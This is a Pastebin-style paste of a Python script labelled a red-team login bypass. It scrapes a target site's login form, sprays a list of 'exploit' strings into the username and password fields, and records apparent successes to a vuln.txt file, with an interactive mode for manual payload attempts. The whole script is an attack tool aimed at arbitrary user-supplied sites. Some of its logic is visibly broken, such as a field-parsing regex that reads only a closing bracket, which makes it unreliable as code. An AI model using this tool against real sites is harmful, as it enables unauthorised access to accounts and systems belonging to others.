xosski

Red team html login bypass

Jan 1st, 2025
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.69 KB | None | 0 0
  1. import requests
  2. import re
  3. import logging
  4.  
  5. # Function to extract the post URL from the page
  6. def get_post_url(ng):
  7. try:
  8. posturl_matches = re.findall(r"post\('[^']*'|POST\('[^']*'|action=\"[^\"]*\"", ng)
  9. if posturl_matches:
  10. return sorted(set([re.sub(r"action=\"|post\('|'\"", '', u) for u in posturl_matches]))[0]
  11. except Exception as e:
  12. logging.error(f"Error extracting post URL: {e}")
  13. return None
  14.  
  15. # Function to attempt login with different exploits
  16. def attempt_login(target, exploits, post_url, form_data):
  17. for xploit in exploits:
  18. logging.info(f"Attempting login with: {xploit}")
  19.  
  20. try:
  21. postdata = f"{form_data['param1']}={xploit}&{form_data['param2']}={xploit}{form_data['value']}"
  22. response = requests.post(post_url, data=postdata, timeout=10)
  23.  
  24. # Check if login attempt was successful
  25. if response.status_code == 200 and not re.search(r"error|invalid", response.text, re.I):
  26. logging.info(f"Login successful with {xploit}!")
  27. return True
  28. else:
  29. logging.warning(f"Failed login attempt with: {xploit}")
  30. except requests.exceptions.RequestException as e:
  31. logging.error(f"Request failed: {e}")
  32. continue
  33.  
  34. return False
  35.  
  36. # Main bypass function
  37. def bypass(target, exploits, list_xploit=None):
  38. logging.basicConfig(level=logging.INFO)
  39. sukses = ""
  40. postnya = ""
  41. post = ""
  42. posturl = ""
  43.  
  44. logging.info(f"Starting {target}")
  45.  
  46. # Clean up target URL
  47. site = target.replace("http://", "").replace("https://", "")
  48.  
  49. try:
  50. ng = requests.get(f"http://{site}", timeout=10).text
  51. except requests.exceptions.RequestException as e:
  52. logging.error(f"Error accessing the target site: {e}")
  53. return
  54.  
  55. # Extract the POST URL
  56. post_url = get_post_url(ng)
  57. if post_url:
  58. logging.info(f"Post URL found: {post_url}")
  59.  
  60. # Extract form parameters (e.g., username, password fields)
  61. value_matches = re.findall(r'(<input).*?(>)', ng)
  62. values = []
  63. for match in value_matches:
  64. name_value = re.findall(r'name="([^"]*)" value="([^"]*)"', match[1])
  65. if name_value:
  66. values.extend(name_value)
  67.  
  68. value = "&".join([f"{name}={val}" for name, val in values])
  69.  
  70. # Define the form fields to test (username, password, etc.)
  71. param = ",".join(sorted(set(re.findall(r'name="([^"]*)"', ng)[:2])))
  72. param1, param2 = param.split(",") if len(param.split(",")) > 1 else (param, '')
  73.  
  74. form_data = {
  75. "param1": param1,
  76. "param2": param2,
  77. "value": value
  78. }
  79.  
  80. # Attempt to login with the provided exploits
  81. if attempt_login(target, exploits, post_url, form_data):
  82. logging.info(f"Exploit Successful for {target}")
  83. with open("vuln.txt", "a") as f:
  84. f.write(f"+++++++++++++++++++++!!![ Login Success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {exploits}\n")
  85. print(f"[INFO] Login successful. Saved to vuln.txt.")
  86. else:
  87. logging.warning("Login failed. Attempting semi-manual exploitation.")
  88.  
  89. # If the automatic exploit fails, let the user attempt semi-manual entry
  90. param1 = input("Enter parameter name to test: ")
  91. while True:
  92. xploit = input("\nTrying login with: ")
  93. logging.info(f"Posting to {post_url}")
  94.  
  95. if "," in param1:
  96. param2 = f"&{param1.split(',')[1]}={xploit}"
  97. param0 = param1.split(',')[0]
  98. postdata = f"{param0}={xploit}{param2}{value}"
  99. response = requests.post(post_url, data=postdata, timeout=10)
  100.  
  101. if re.search(r"(error|invalid|wrong)", response.text, re.I):
  102. logging.warning(f"Failed login attempt with: {xploit}")
  103. else:
  104. logging.info(f"Login successful with {xploit}")
  105. break
  106. else:
  107. break
  108. else:
  109. logging.error("No valid POST URL found.")
  110.  
  111. if not sukses:
  112. logging.info("Could not bypass site or encountered postdata errors.")
  113.  
  114. # Main entry point
  115. if __name__ == "__main__":
  116. target = input("Enter target URL: ")
  117. exploits = ["[email protected]", "[email protected]", "test"] # Example exploit credentials
  118. list_xploit = None # You can provide a path to an external exploit list if available
  119. bypass(target, exploits, list_xploit)
Advertisement
Add Comment
Please, Sign In to add comment